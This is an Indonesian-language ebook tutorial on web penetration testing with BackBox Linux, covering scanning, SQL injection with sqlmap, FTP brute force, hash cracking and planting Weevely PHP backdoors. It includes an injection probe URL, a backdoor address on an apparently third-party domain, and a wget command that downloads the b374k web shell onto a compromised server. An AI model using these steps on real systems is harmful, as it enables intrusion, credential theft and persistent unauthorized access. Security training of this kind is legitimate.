34
BackBox Linux – Basic Web Penetration Testing < Web Penetration Testing > < [email protected] > w ww.newbie-security.or.id

BackBox Linux - Basic Web Penetration Testing

Embed Size (px)

DESCRIPTION

BackBox Linux - Basic Web Penetration Testing with Indonesian Language

Citation preview

Page 1: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

< Web Penetration Testing > < [email protected] >

w ww.newbie-security.or.id

Page 2: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Diterbitkan Oleh :

Ebook ini dibuat sebagai media pembelajaran. Segala macam materi yang ada didalam ebook iniadalah bentuk implementasi dari tools yang ada pada BackBox Linux itu sendiri.

Ebook ini bebas untuk disebarluaskan dengan syarat tidak mengubah nama penulis dan isi materi yang ada didalamnya.

Credits

DevilScreaM ([email protected])

Reviewers

Casper ([email protected])

Mbah Roni

w ww.newbie-security.or.id

Page 3: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

root@backbox:~# ls DAFTAR ISI

Information Gathering

• Web Server Scanning with Nmap …....................................................................

• Web Server Scanning with WhatWeb …..............................................................

Vulnerability Assessment

• Web Server Vulnerability Scanning with Nmap …..............................................

• Web Server Vulnerability Scanning with Nikto …...............................................

• WordPress Vulnerability Scanning …...................................................................

Exploitation

• LFI/RFI with Fimap ….........................................................................................

• SQL Injection with Sqlmap …..............................................................................

Password Attack

• FTP Brute Force with Metasploit ….....................................................................

• FTP Brute Force with Hydra …............................................................................

• FTP Brute Force with Medusa ….........................................................................

Password Cracking

• Hash Identification with Hash-id ….....................................................................

• Password Cracking with John …..........................................................................

• Password Cracking with Fang …..........................................................................

Maintaining Access

• Generate Web Backdoor with Weevely …............................................................

• Back Connect with Weevely …............................................................................

• Weevely in Action …............................................................................................

w ww.newbie-security.or.id

Page 4: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Information Gathering

Information Gathering atau yang sering disebut Pencarian Informasi adalah untuk mencari informasi yang ada pada sistem operasi target. Ada beberapa tools yang tersedia di BackBox Linux untuk melakukan pencarian informasi pada target.

Disini kita akan menggunakan tools

• Nmap

• WhatWeb

Dalam penggunaan tools diatas, pastikan anda login sebagai user root atau akses user tertinggi pada sistem operasi BackBox anda.

w ww.newbie-security.or.id

Page 5: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Web Server Scanning with NmapNmap adalah sebuah tool open source yang digunakan untuk memeriksa jaringan publik seperti webserver ataupun jaringan lokal. Nmap dapat mencari informasi tentang IP, Port, Service yang ada pada sistem operasi web server.

Untuk melihat perintah-perintah yang ada pada Nmap gunakan perintah nmap –help

Contoh perintah untuk mengetahui informasi yang ada pada web server tersebut

Hasil Scanning dari web server tersebut :

w ww.newbie-security.or.id

Page 6: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Keterangan tentang perintah yang dipakai diatas :

• sS : Melakukan scanning secara silent atau diam-diam

• sV : Melakukan scanning terhadap software yang membuka port 80 (HTTP)

Pada penggunaan contoh diatas, target yang menjadi sasaran adalah IP 192.168.1.1. disana terlihat jelas bahwa web server tersebut menggunakan Apache 2.4.7 dengan sistem operasi Linux Ubuntu.

w ww.newbie-security.or.id

Page 7: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Web Server Scanning with WhatWebWhatWeb adalah sebuah tool yang digunakan untuk mengetahui beberapa informasi yang ada pada web server.

Untuk mengetahui perintah-perintah yang ada pada WhatWeb, gunakan perintah whatweb –help

Contoh pencarian informasi web server dengan menggunakan perintah

Hasil dari scanning tersebut adalah

w ww.newbie-security.or.id

Page 8: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Keterangan pada perintah yang dipakai tersebut:

• v : Target IP Server/Web

Pada contoh diatas yang menjadi target adalah IP 192.168.1.1 dan hasil scanning menyatakan bahwa web server tersebut menggunakan Apache 2.4.7, menggunakan sistem operasi Linux Ubuntu.

w ww.newbie-security.or.id

Page 9: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Vulnerability Assessment

Memanfaatkan tools pencari celah pada suatu web server. Disini kita dapat menggunakan beberapa tools yang sudah disediakan oleh BackBox Linux, antara lain

• Nmap

• Nikto

• WPScan

Dalam penggunaan tools diatas, pastikan anda login sebagai user root atau akses user tertinggi pada sistem operasi BackBox anda.

w ww.newbie-security.or.id

Page 10: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Web Server Vulnerability Scanning with NmapNmap adalah sebuah tool open source yang digunakan untuk memeriksa jaringan publik seperti webserver ataupun jaringan lokal. Nmap dapat memindai IP, Port, Service yang ada pada sistem operasi web server.

Untuk melihat perintah-perintah yang ada pada Nmap gunakan perintah nmap –help

Contoh perintah untuk mencari celah pada yang ada di web server

Hasil dari Scanning

w ww.newbie-security.or.id

Page 11: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Keterangan pada perintah yang digunakan :

• v : Menampilkan Versi-Versi Software

• PN : Semua Host yang online

• sS : Melakukan scanning secara silent atau diam-diam

• sV : Melakukan scanning terhadap software yang membuka port 80 (HTTP)

• script=vuln : Menggunakan Script bawaan dari Nmap yang digunakan mencari celah

Pada contoh diatas terlihat bahwa server tersebut memiliki celah Slowloris DOS Attack, dan SQL Injection yang terdapat pada http://192.168.1.1/?C=S;O=A'%20OR%20sqlspider

w ww.newbie-security.or.id

Page 12: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Web Server Vulnerability Scanning with NiktoNikto adalah sebuah tool yang dibuat untuk melakukan pengecekkan pada suatu web server apakah web server tersebut terdapat celah ataupun tidak.

Untuk melihat perintah-perintah yang ada pada Nikto gunakan perintah nikto –help

Contoh perintah penggunaan nikto untuk mencari celah pada web server

Hasil dari Scanning

Keterangan pada perintah-perintah yang digunakan

• h : IP Server/Web Target

• p : Port , disini kita menggunakan Port HTTP yaitu 80

w ww.newbie-security.or.id

Page 13: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

WordPress Vulnerability ScanningDisini kita menggunakan tool wpscan yang sudah tersedia di BackBox. Wpscan adalah sebuah tool yang dibuat untuk mencari celah pada sebuah web yang menggunakan Content Management System (CMS) WordPress.

Untuk membuka dan menjalankan tool ini, gunakan perintah cd /opt/wpscan/, untuk masuk ke folder dimana wpscan disimpan, lalu jalankan script dengan perintah berikut:

Hasil Scanning

w ww.newbie-security.or.id

Page 14: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Keterangan pada perintah-perintah :

• --url : IP Server/Web Target

• --enumerate vp : Mencari Celah pada WordPress Plugin

• --enumerate vt : Mencari Celah pada WordPress Themes

Untuk perintah lainnya, gunakan perintah ./wpscan.rb –help

Pada contoh diatas target penulis adalah http://screamav.web.id (situs pribadi penulis) terlihat disanaada beberapa celah yang dapat di eksploit beserta keterangan celah tersebut.

w ww.newbie-security.or.id

Page 15: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Exploitation

Disini kita memanfaatkan tools yang ada di BackBox untuk melakukan eksploitasi pada web server

Disini kita menggunakan beberapa tools untuk melakukan eksploitasi terhadap web yaitu

• Fimap

• Sqlmap

Dalam penggunaan tool diatas, pastikan anda login sebagai user root atau akses user tertinggi pada sistem operasi BackBox anda.

w ww.newbie-security.or.id

Page 16: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

LFI/RFI with FimapFimap adalah sebuah tool yang digunakan untuk mencoba melakukan injeksi terhadap situs yang terdapat celah LFI atau RFI

Contoh Penggunaan Fimap

Hasil Injeksi

w ww.newbie-security.or.id

Page 17: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

SQL Injection with SqlmapSqlmap adalah sebuah tool yang paling populer digunakan di linux untuk mencoba melakukan injeksi terhadap celah sql pada suatu web.

Tahap pertama

• Mendapatkan nama database

untuk mendapatkan database, kita menggunakan perintah -u dan --dbs

Hasil

Kita sudah mendapatkan nama database dari web tersebut, yaitu acuart

w ww.newbie-security.or.id

Page 18: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Tahap kedua

• Mendapatkan table pada database

Setelah mendapatkan nama database, selanjutnya kita akan mendapatkan table apa saja yangada pada database web tersebut menggunakan perintah -u dan -D, --tables

Hasil

Table sudah kita dapatkan, yaitu :

w ww.newbie-security.or.id

Page 19: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Tahap Ketiga

• Melakukan dump dari table dan database

Setelah mendapatkan table yang ada, selanjutnya kita akan mendapatkan kolum apa saja yang ada pada table users tersebut menggunakan perintah -u dan -D, -T –tables

Hasil

Dilihat dari hasil diatas, kita sudah dapat mengetahui apa saja yang dapat dilihat dari hasil dump yang kita gunakan tadi.

Keterangan Perintah yang digunakan :

• -u : URL Target

• -D / --dbs : Nama Database / Mendapatkan nama database

• -T / --tables : Nama Table / Mendapatkan list table

• --dump : Melakukan Dump data

w ww.newbie-security.or.id

Page 20: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Password Attack

Memanfaatkan beberapa tools yang sangat berguna di BackBox untuk melakukan brute force.

Disini kita dapat menggunakan beberapa tools, yaitu :

• Metasploit (auxiliary/scanner/ftp/ftp_login)

• Hydra

• Medusa

Dalam penggunaan tools diatas, pastikan anda login sebagai user root atau akses user tertinggi pada sistem operasi BackBox anda.

w ww.newbie-security.or.id

Page 21: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

FTP Brute Force with MetasploitMetasploit Framework adalah sebuah penetration tool yang cukup powerfull untuk melakukan penestrasi kedalam sebuah system.

Metasploit Framework bisa juga di katakan sebagai sebuah platform pengembangan untuk membuattool security dan exploit.

Persiapan

• Username List

• Password List

• Target

Jalankan Metasploit

Masukkan perintah berikut untuk menggunakan module auxiliary/scanner/ftp/ftp_login

Lakukan setting terhadap Username List, sebagai contoh penulis membuat username list di /home/devilscream/user.txt menggunakan set USER_FILE

Lakukan setting terhadap Password List, sebagai contoh penulis membuat password list di /home/devilscream/pass.txt menggunakan set PASS_FILE

Setelah itu, tentukan target menggunakan set RHOSTS

Jalankan module

w ww.newbie-security.or.id

Page 22: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Hasil Brute Force :

Username dan Password FTP sudah berhasil kita dapatkan.Selanjutnya melakukan uji coba apakah Username dan Password itu bisa dengan perintah ftp ip_server

Masukkan Username

Masukkan password

w ww.newbie-security.or.id

Page 23: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

FTP Brute Force with HydraHydra adalah sebuah tool yang dibuat untuk melakukan brute force terhadap suatu web melalui Username list dan Password list yang sudah disiapkan user

Persiapan

• Username List

• Password List

• Target

Contoh penggunaan Hydra :

• Sebagai contoh, penulis menyimpan username list di /home/devilscream/user.txt

• Sebagai contoh, penulis menyimpan password list di /home/devilscream/pass.txt

Hasil

w ww.newbie-security.or.id

Page 24: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

FTP Brute Force with MedusaMedusa adalah sebuah open source tool yang dibuat untuk melakukan brute force pada suatu web server.

Untuk melihat perintah-perintah apa saja yang ada medusa ini, ketikkan perintah medusa –help

Persiapan

• Username List

• Password List

• Target

Contoh penggunaan Medusa untuk melakukan brute force pada suatu FTP Server

Hasil

Keterangan perintah-perintah yang digunakan

• u : Username List

• p : Password List

• h : Host/Target

• M : Module yang akan digunakan

w ww.newbie-security.or.id

Page 25: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Password Cracking

Tahap ini adalah untuk mengetahui password asli dari sebuah website menggunakan beberapa toolsyang sudah tersedia di BackBox.

Ada beberapa tools yang dapat digunakan yaitu:

• Fang

• John The Ripper

Namun sebelum melakukan cracking, kita harus mengidentifikasikan password tersebut menggunakan tipe apa, kita dapat menggunakan tools

• Hash-id

w ww.newbie-security.or.id

Page 26: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Hash Identification with Hash-idPada tahap ini, kita akan melakukan identifikasi menggunakan Hash-id.

Hash-id adalah sebuah tool yang digunakan untuk melakukan identifikasi atau cek sebuah tipepassword.

Contoh penggunaan Hash-id

Memasukkan hash

w ww.newbie-security.or.id

Page 27: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Hasil dari Identifikasi:

Tipe Password yang dapat di identifikasi oleh Hash-id

w ww.newbie-security.or.id

Page 28: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Password Cracking with JohnJohn the ripper adalah sebuah tool yang digunakan untuk crack password dengan cepat.John digunakan untuk brute force password (mencoba kemungkinan dari kelemahanpassword yang dibuat oleh si admin), John the ripper juga dapat crack password windowsyang berbentuk LM hashes.

Pada kali ini, penulis akan melakukan cracking password dengan hash

21232f297a57a5a743894a0e4a801fc3

Simpan Hash tersebut dengan sebuah file.

Contoh penggunaan John untuk melakukan password cracking

Hasil

21232f297a57a5a743894a0e4a801fc3 = admin

Keterangan perintah yang digunakan

• wordlist : Word List untuk melakukan cracking

• md5.txt : File hash yang akan di crack

• format : Format hash untuk melakukan cracking

w ww.newbie-security.or.id

Page 29: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Password Cracking with FangFang adalah sebuah open source tool yang digunakan untuk melakukan crackingpassword md5 dengan memanfaatkan fasilitas online cracking password.

Pada kali ini, penulis akan melakukan cracking password dengan hash

21232f297a57a5a743894a0e4a801fc3

Contoh penggunaan Fang untuk melakukan Cracking

Hasil

Tool ini menggunakan 5 fasilitas online cracking antara lain:

• www.md5decryption.com

• www.md5.gromweb.com

• www.md5pass.info

• www.md5.my-addr.com

• www.stringfunction.com

w ww.newbie-security.or.id

Page 30: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Maintaining Access

Maintaining Access adalah tahapan dimana setelah kita mendapatkan akses ke servertarget dan ingin tetap menguasai server tersebut dengan cara menanam backdoor,trojan,rootkit dan lain-lain.

Tool yang kita gunakan pada tahap ini adalah:

• Weevely

w ww.newbie-security.or.id

Page 31: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Generate Web Backdoor with WeevelyKita akan membuat sebuah web backdoor menggunakan weevely

Weevely adalah sebuah tool backdooring yang digunakan dalam bahasa python dan tersedia di BackBox Linux.

Contoh penggunaan weevely untuk membuat sebuah web backdoor

Perhatikan perintah diatas

• devilscream : Adalah Password Web Backdoor

• /home/devilscream/backdoor.php : Adalah lokasi dimana kita menyimpan file

Dari contoh diatas, backdoor yang kita buat tadi berada di /home/devilscream/backdoor.php dan menggunakan password devilscream

Selanjutnya upload file tersebut ke web server target.

w ww.newbie-security.or.id

Page 32: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Back Connect with WeevelyPada tahap ini, kita akan melakukan Back Connect terhadap web server yang sudah kita tanami web backdoor.

Contoh penggunaan perintah untuk melakukan back connecting:

Hasil

Keterangan perintah yang digunakan

• http://repo.telkomspeedy.org/backdoor.php: adalah backdoor yang telah di upload

• devilscream : adalah password web backdoor

Jika sudah seperti diatas, artinya kita telah berhasil melakukan Back Connecting ke web server target.

w ww.newbie-security.or.id

Page 33: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Weevely in ActionPada tahap ini, kita akan melakukan aksi apa-apa saja yang bisa dilakukan oleh weevely

1. Download File

untuk melakukan download file dari server lain, kita dapat menggunakan perintah wget

wget https://b374k-shell.googlecode.com/files/b374k-2.8.php

2. Melihat informasi tentang kernel

untuk melihat informasi tentang kernel, kita dapat menggunakan perintah uname -a

3. Melihat File

untuk melihat isi dari file, kita dapat menggunakan perintah cat [file]

w ww.newbie-security.or.id

Page 34: BackBox Linux - Basic Web Penetration Testing

BackBox Linux – Basic Web Penetration Testing

Demikian yang dapat penulis paparkan mengenai materi yang menjadi pokok bahasandalam ebook ini, tentunya masih banyak kekurangan dan kelemahannya.

Penulis banyak berharap para pembaca memberikan kritik dan saran yang membangunkepada penulis demi sempurnanya ebook ini dalam penulisan ebook di kesempatan-kesempatan berikutnya. Semoga ebook ini berguna bagi para pembaca ebook ini.

w ww.newbie-security.or.id